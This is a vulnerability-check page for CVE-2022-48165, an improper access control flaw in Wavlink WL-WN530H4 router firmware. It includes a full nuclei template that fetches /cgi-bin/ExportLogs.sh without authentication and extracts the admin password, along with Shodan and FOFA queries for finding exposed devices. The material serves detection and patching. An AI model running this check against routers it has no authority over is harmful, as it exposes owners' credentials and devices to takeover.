Wavlink - Improper Access Control

highseverity

7.5CVSS score

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

Wavlink WL-WN530H4 M30H4.V5030.210121 is susceptible to improper access control in the component /cgi-bin/ExportLogs.sh. An attacker can download configuration data and log files, obtain admin credentials, and potentially execute unauthorized operations.

Impact

The vulnerability can lead to unauthorized access, data leakage, or unauthorized actions on the affected device.

Fix

Apply the latest firmware update provided by the vendor to fix the access control issue.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/ExportLogs.sh
Positive when: contains "Password=" and "Login=" AND contains in header "filename=\"sysLogs.txt\"" AND status 200

Run it with nuclei: nuclei -id CVE-2022-48165 -u <target>

The full check

id: CVE-2022-48165

info:
  name: Wavlink - Improper Access Control
  author: For3stCo1d
  severity: high
  description: |
    Wavlink WL-WN530H4 M30H4.V5030.210121 is susceptible to improper access control in the component /cgi-bin/ExportLogs.sh. An attacker can download configuration data and log files, obtain admin credentials, and potentially execute unauthorized operations.
  impact: |
    The vulnerability can lead to unauthorized access, data leakage, or unauthorized actions on the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://docs.google.com/document/d/1HD4GKumkZpa6FNHuf0QQSKFvoYhCfwXpbyWiJdx1VtE
    - https://twitter.com/For3stCo1d/status/1622576544190464000
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48165
    - https://github.com/strik3r0x1/Vulns/blob/main/WAVLINK_WL-WN530H4.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48165
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-48165
    cwe-id: CWE-284
    epss-score: 0.03284
    epss-percentile: 0.88561
    cpe: cpe:2.3:o:wavlink:wl-wn530h4_firmware:m30h4.v5030.210121:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn530h4_firmware
    shodan-query: http.favicon.hash:-1350437236
    fofa-query: icon_hash=-1350437236
  tags: cve2022,cve,wavlink,router,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportLogs.sh"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Password='
          - 'Login='
        condition: and

      - type: word
        part: header
        words:
          - filename="sysLogs.txt"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - 'Password=([^\s]+)'

References

Use this check only on systems you are authorised to test. Where the data comes from